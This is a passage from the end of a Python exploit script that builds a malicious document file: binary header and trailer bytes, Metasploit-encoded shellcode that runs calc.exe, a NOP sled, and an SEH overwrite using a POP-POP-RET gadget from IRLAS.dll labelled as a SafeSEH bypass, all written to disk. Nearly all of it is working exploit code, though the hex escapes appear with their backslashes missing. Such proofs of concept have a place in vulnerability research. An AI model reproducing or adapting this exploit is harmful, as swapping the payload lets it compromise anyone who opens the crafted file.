    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x08x00x00x08x08x00x00x0Ax08x00x00xF3xE7x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x17x4F"+
    "x4Ax09x00x51x4Ax09x00x6Fx28x00x5Ex4Ax09x00x6Dx48"+
    "x07x04x73x48x07x04x17x4Fx4Ax09x00x51x4Ax09x00x6F"+
    "x28x00x5Ex4Ax09x00x6Dx48x07x04x73x48x07x04x00x02"+
    "x00x08x00x00x0Ax08x00x00xFDx00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x01x00x00x00x01"+
    "x2Dx00x1FxB0xD7x2Fx20xB0xCBx3Dx21xB0x05x07x23x90"+
    "xA0x05x22xB0x05x07x24x90xA0x05x25xB0x00x00x17xB0"+
    "xC4x02x18xB0xC4x02x31x90x1Fx01xFFxD1x02x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x14x00x11x00x12x00x01x00x9Cx00x0Fx00x04x00x00x00"+
    "x08x00x00x00x00x00x5Ax00x00x60xF1xFFx02x00x5Ax00"+
    "x00x00x00x00x00x00x00x00x00x00x06x00x4Ex00x6Fx00"+
    "x72x00x6Dx00x61x00x6Cx00x00x00x0Bx00x00x00x61x24"+
    "x00x03x24x00x31x24x00x00x28x00x43x4Ax18x00x4Fx4A"+
    "x09x00x50x4Ax0Ax00x51x4Ax09x00x5Ex4Ax09x00x4Bx48"+
    "x02x00x6Dx48x09x04x73x48x09x04x6Ex48x04x08x74x48"+
    "x04x08x6Ax00x01x60x01x00x02x00x6Ax00x00x00x00x00"+
    "x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00"+
    "x69x00x6Ex00x67x00x20x00x31x00x00x00x27x00x01x00"+
    "x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24"+
    "x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05"+
    "x24x01x40x26x00x00x16x00x43x4Ax20x00x4Fx4Ax04x00"+
    "x51x4Ax04x00x35x08x01x36x08x00x4Bx48x2Cx00x66x00"+
    "x02x60x01x00x02x00x66x00x00x00x00x00x00x00x00x00"+
    "x00x00x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00"+
    "x67x00x20x00x32x00x00x00x27x00x02x00x12x64xF0x00"+
    "x01x00x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3C"+
    "x00x59x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26"+
    "x01x00x12x00x43x4Ax1Cx00x4Fx4Ax04x00x51x4Ax04x00"+
    "x35x08x81x36x08x01x64x00x03x60x01x00x02x00x64x00"+
    "x00x00x00x00x00x00x00x00x00x00x09x00x48x00x65x00"+
    "x61x00x64x00x69x00x6Ex00x67x00x20x00x33x00x00x00"+
    "x27x00x03x00x12x64xF0x00x01x00x13xA4xF0x00x58x44"+
    "x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5Cx24x00"+
    "x06x24x01x05x24x01x40x26x02x00x0Fx00x43x4Ax1Ax00"+
    "x4Fx4Ax04x00x51x4Ax04x00x35x08x81x00x64x00x04x60"+
    "x01x00x02x00x64x00x00x00x00x00x00x00x00x00x00x00"+
    "x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00x67x00"+
    "x20x00x34x00x00x00x27x00x04x00x12x64xF0x00x01x00"+
    "x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3Cx00x59"+
    "x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26x03x00"+
    "x0Fx00x43x4Ax1Cx00x4Fx4Ax00x00x51x4Ax00x00x35x08"+
    "x81x00x5Ex00x05x60x01x00x02x00x5Ex00x00x00x00x00"+
    "x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00"+
    "x69x00x6Ex00x67x00x20x00x35x00x00x00x27x00x05x00"+
    "x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24"+
    "x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05"+
    "x24x01x40x26x04x00x0Ax00x43x4Ax1Ax00x35x08x81x36"+
    "x08x01x64x00x06x60x01x00x02x00x64x00x00x00x00x00"+
    "x00x00x00x00x00x00x09x00x48x00x65x00x61x00x64x00"+
    "x69x00x6Ex00x67x00x20x00x36x00x00x00x27x00x06x00"+
    "x12x64xF0x00x01x00x13xA4xF0x00x58x44x00x00x5Bx24"+
    "x00x14xA4x3Cx00x59x44x00x00x5Cx24x00x06x24x01x05"+
    "x24x01x40x26x05x00x0Fx00x43x4Ax16x00x4Fx4Ax00x00"+
    "x51x4Ax00x00x35x08x81x00x5Cx00x07x60x01x00x02x00"+
    "x5Cx00x00x00x00x00x00x00x00x00x00x00x09x00x48x00"+
    "x65x00x61x00x64x00x69x00x6Ex00x67x00x20x00x37x00"+
    "x00x00x27x00x07x00x12x64xF0x00x01x00x13xA4xF0x00"+
    "x58x44x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5C"+
    "x24x00x06x24x01x05x24x01x40x26x06x00x07x00x43x4A"+
    "x18x00x35x08x00x00x64x00x08x60x01x00x02x00x64x00"+
    "x00x00x00x00x00x00x00x00x00x00x09x00x48x00x65x00"+
    "x61x00x64x00x69x00x6Ex00x67x00x20x00x38x00x00x00"+
    "x27x00x08x00x12x64xF0x00x01x00x13xA4xF0x00x58x44"+
    "x00x00x5Bx24x00x14xA4x3Cx00x59x44x00x00x5Cx24x00"+
    "x06x24x01x05x24x01x40x26x07x00x0Fx00x43x4Ax18x00"+
    "x4Fx4Ax00x00x51x4Ax00x00x36x08x01x00x60x00x09x60"+
    "x01x00x02x00x60x00x00x00x00x00x00x00x00x00x00x00"+
    "x09x00x48x00x65x00x61x00x64x00x69x00x6Ex00x67x00"+
    "x20x00x39x00x00x00x27x00x09x00x12x64xF0x00x01x00"+
    "x13xA4xF0x00x58x44x00x00x5Bx24x00x14xA4x3Cx00x59"+
    "x44x00x00x5Cx24x00x06x24x01x05x24x01x40x26x08x00"+
    "x0Cx00x43x4Ax16x00x4Fx4Ax04x00x51x4Ax04x00x44x00"+
    "x41x60xF2xFFxA1x00x44x00x00x00x00x00x00x00x00x00"+
    "x00x00x16x00x44x00x65x00x66x00x61x00x75x00x6Cx00"+
    "x74x00x20x00x50x00x61x00x72x00x61x00x67x00x72x00"+
    "x61x00x70x00x68x00x20x00x46x00x6Fx00x6Ex00x74x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x44x00x20x60"+
    "x01x00xF2x00x44x00x00x00x00x00x00x00x00x00x00x00"+
    "x06x00x46x00x6Fx00x6Fx00x74x00x65x00x72x00x00x00"+
    "x16x00x0Fx00x61x24x00x03x24x00x47x24x00x0DxC6x08"+
    "x00x02x39x10x72x20x01x02x08x00x43x4Ax12x00x61x4A"+
    "x12x00x3Ex00x1Fx60x01x00x02x01x3Ex00x00x00x00x00"+
    "x00x00x00x00x00x00x06x00x48x00x65x00x61x00x64x00"+
    "x65x00x72x00x00x00x10x00x10x00x47x24x00x0DxC6x08"+
    "x00x02x39x10x72x20x01x02x08x00x43x4Ax12x00x61x4A"+
    "x12x00x00x08x00x00x0Ax08x00x00x05x00x00x00x00x08"+
    "x00x00x0Ax08x00x00x06x00x00x00x02x10x00x00x00x00"+
    "x00x00x00x05x00x00x00x00x00x00x08x00x00x00x00x0C"+
    "x00x00x00x47x16x90x01x00x00x02x02x06x03x05x04x05"+
    "x02x03x04x87x7Ax00x20x00x00x00x80x08x00x00x00x00"+
    "x00x00x00xFFx01x00x00x00x00x00x00")
    tail=("x90x90xEBx06xE6xADx01x51x00x00x4Dx04x90x01x86x03x02"+
    "x01x06x00x03x01x01x01x01x01x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x8Bx5Bx53x4Fx00x00x54x00x69x00x6Dx00x65x00x73"+
    "x00x20x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6D"+
    "x00x61x00x6Ex00x00x00x55x04x90x01x86x07x02x01x06"+
    "x00x03x01x01x01x01x01x01x00x00x00x00x00x0Ex08x00"+
    "x00x00x00x00x00x00x00x00x00x04x00x00x00x00x00x53"+
    "x00x69x00x6Dx00x48x00x65x00x69x00x00x00x54x00x69"+
    "x00x6Dx00x65x00x73x00x20x00x4Ex00x65x00x77x00x20"+
    "x00x52x00x6Fx00x6Dx00x61x00x6Ex00x00x00x35x14x90"+
    "x01x02x00x05x05x01x02x01x07x06x02x05x07x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x80x00x00x00x00x53x00x79x00x6Dx00x62x00x6Fx00x6C"+
    "x00x00x00x33x24x90x01x00x00x02x0Bx06x04x02x02x02"+
    "x02x02x04x87x7Ax00x00x00x00x00x80x08x00x00x00x00"+
    "x00x00x00xFFx01x00x40x00x00xFFxFFx41x00x72x00x69"+
    "x00x61x00x6Cx00x00x00x4Dx04x90x01x86x03x02x01x06"+
    "x00x03x01x01x01x01x01x01x00x00x00x00x00x0Ex08x10"+
    "x00x00x00x00x00x00x00x00x00x04x00x00x00x00x00xD1"+
    "x9Ex53x4Fx00x00x54x00x69x00x6Dx00x65x00x73x00x20"+
    "x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6Dx00x61"+
    "x00x6Ex00x00x00x3Fx34x90x01x00x00x02x07x03x09x02"+
    "x02x05x02x04x04x87x7Ax00x00x00x00x00x80x08x00x00"+
    "x00x00x00x00x00xFFx01x00x40x00x00xFFxFFx43x00x6F"+
    "x00x75x00x72x00x69x00x65x00x72x00x20x00x4Ex00x65"+
    "x00x77x00x00x00x3Bx04x90x01x02x00x05x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x80x00x00x00x00x57x00x69"+
    "x00x6Ex00x67x00x64x00x69x00x6Ex00x67x00x73x00x00"+
    "x00x55x04x90x01x86x07x02x01x06x00x03x01x01x01x01"+
    "x01x03x00x00x00x00x00x0Ex08x00x00x00x00x00x00x00"+
    "x00x01x00x04x00x00x00x00x00x53x00x69x00x6Dx00x53"+
    "x00x75x00x6Ex00x00x00x54x00x69x00x6Dx00x65x00x73"+
    "x00x20x00x4Ex00x65x00x77x00x20x00x52x00x6Fx00x6D"+
    "x00x61x00x6Ex00x00x00x37x04x90x01x00x00x02x04x05"+
    "x02x05x04x05x02x03x03x87x02x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x9Fx00x00x20x00x00x00x00x47"+
    "x00x65x00x6Fx00x72x00x67x00x69x00x61x00x00x00x37"+
    "x04x90x01x00x02x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x20x00x00x00x4Cx00x61x00x74"+
    "x00x68x00x61x00x00x00x33x04x90x01x00x00x02x00x04"+
    "x00x00x00x00x00x00x00x00x00x10x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x4C"+
    "x00x61x00x74x00x68x00x61x00x00x00xFFxFFx12x00x00"+
    "x00x00x00x0Ax00x4Ex00x6Fx00x72x00x6Dx00x61x00x6C"+
    "x00x2Ex00x77x00x70x00x74x00x04x00x74x00x65x00x73"+
    "x00x74x00x00x00x00x00x00x00x0Dx00x41x00x64x00x6D"+
    "x00x69x00x6Ex00x69x00x73x00x74x00x72x00x61x00x74"+
    "x00x6Fx00x72x00x0Ax00x7Ax00x68x00x61x00x6Ex00x67"+
    "x00x71x00x69x00x61x00x6Ex00x67x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x20"+
    "x00x04x00x01x08x88x18x00x00xA4x01xE9xFDx68x01x00"+
    "x00x00x00x8Bx33xE5x86x9FxC5x1Bx07x00x00x00x00x01"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x01x00x01"+
    "x00x00x00x04x00x03x10x01x00x00x00x00x00x00x00x00"+
    "x00x00x00x01x00x01x00x00x00x01x00x00x00x00x00x00"+
    "x00x21x03x00x00x00x00x00x00x03x00x5Ax00x26x00x21"+
    "x00x29x00x2Cx00x2Ex00x3Ax00x3Bx00x3Fx00x5Dx00x7D"+
    "x00xA8x00xB7x00xC7x02xC9x02x15x20x16x20x19x20x1D"+
    "x20x26x20x36x22x01x30x02x30x03x30x05x30x09x30x0B"+
    "x30x0Dx30x0Fx30x11x30x15x30x17x30x01xFFx02xFFx07"+
    "xFFx09xFFx0CxFFx0ExFFx1AxFFx1BxFFx1FxFFx3DxFFx40"+
    "xFFx5CxFFx5DxFFx5ExFFxE0xFFx00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x28x00x5Bx00x7Bx00xB7"+
    "x00x18x20x1Cx20x08x30x0Ax30x0Cx30x0Ex30x10x30x14"+
    "x30x16x30x08xFFx0ExFFx3BxFFx5BxFFxE1xFFxE5xFFx00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x05"+
    "x07xA0x05xB4x00x8Fx00x02x80x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x29xF0xFFx0Fx01x00x01x3Fx00x00xA8x03x00"+
    "x00xFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFF"+
    "x7FxFFxFFxFFx7FxFFxFFxFFx7FxFFxFFxFFx7Fx27x2Ax17"+
    "x00x00x00x00x00x32x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00x05"+
    "x00x00x00x00x00x00x00x01x00x01x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x05"+
    "x00x00x00x00x00x00x0Ex00x00x00x00xFFxFFxFFxFFx0F"+
    "x00x00xF0x20x00x00x00x00x00x06xF0x18x00x00x00x02"+
    "x08x00x00x02x00x00x00x02x00x00x00x01x00x00x00x01"+
    "x00x00x00x02x00x00x00x00x0Fx00x02xF0x86x00x00x00"+
    "x10x00x08xF0x08x00x00x00x02x00x00x00x01x04x00x00"+
    "x0Fx00x03xF0x30x00x00x00x0Fx00x04xF0x28x00x00x00"+
    "x01x00x09xF0x10x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x02x00x0AxF0x08x00x00x00"+
    "x00x04x00x00x05x00x00x00x0Fx00x04xF0x36x00x00x00"+
    "x12x00x0AxF0x08x00x00x00x01x04x00x00x00x0Ex00x00"+
    "x53x00x0BxF0x1Ex00x00x00x7Fx00x00x00x8Dx01x7Fx01"+
    "x20x00x20x00xCDx01x00x00x00x00xFFx01x00x00x08x00"+
    "x3Fx03x01x00x01x00xFFx40x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00x00"+
    "x00x00x00x00x00x00x00x00x00x00x00x00x00x00")
    # windows/exec CMD=calc.exe
    # Encoder: x86/shikata_ga_nai
    # powered by Metasploit
    # msfpayload windows/exec CMD=calc.exe R | msfencode -b 'x00'
    shellcode = ("xbax68x3ex85x1fxd9xcaxd9x74x24xf4x58x29xc9" +
    "xb1x33x31x50x12x83xe8xfcx03x38x30x67xeax44" +
    "xa4xeex15xb4x35x91x9cx51x04x83xfbx12x35x13" +
    "x8fx76xb6xd8xddx62x4dxacxc9x85xe6x1bx2cxa8" +
    "xf7xadxf0x66x3bxafx8cx74x68x0fxacxb7x7dx4e" +
    "xe9xa5x8ex02xa2xa2x3dxb3xc7xf6xfdxb2x07x7d" +
    "xbdxccx22x41x4ax67x2cx91xe3xfcx66x09x8fx5b" +
    "x57x28x5cxb8xabx63xe9x0bx5fx72x3bx42xa0x45" +
    "x03x09x9fx6ax8ex53xe7x4cx71x26x13xafx0cx31" +
    "xe0xd2xcaxb4xf5x74x98x6fxdex85x4dxe9x95x89" +
    "x3ax7dxf1x8dxbdx52x89xa9x36x55x5ex38x0cx72" +
    "x7ax61xd6x1bxdbxcfxb9x24x3bxb7x66x81x37x55" +
    "x72xb3x15x33x85x31x20x7ax85x49x2bx2cxeex78" +
    "xa0xa3x69x85x63x80x86xcfx2exa0x0ex96xbaxf1" +
    "x52x29x11x35x6bxaax90xc5x88xb2xd0xc0xd5x74" +
    "x08xb8x46x11x2ex6fx66x30x4dxeexf4xd8xbcx95" +
    "x7cx7axc1")
    nops="x90" * (516 - len(shellcode)) #516 bytes space for shellcode
    nseh="x90x90xebx06"
    seh=pack('<L',0x5101ade6) #0x5101ade6 # POP EBP # POP EBX # RETN 0x10 - IRLAS.dll [SafeSEH Bypass]
    poc=head + nops + shellcode + nseh + seh + tail
    try:
        print "[*] Creating exploit file...
";
        writeFile = open (file, "w")
        writeFile.write( poc )
        writeFile.close()
        print "[*] File successfully created!";
    except:
        print "[!] Error while creating file!";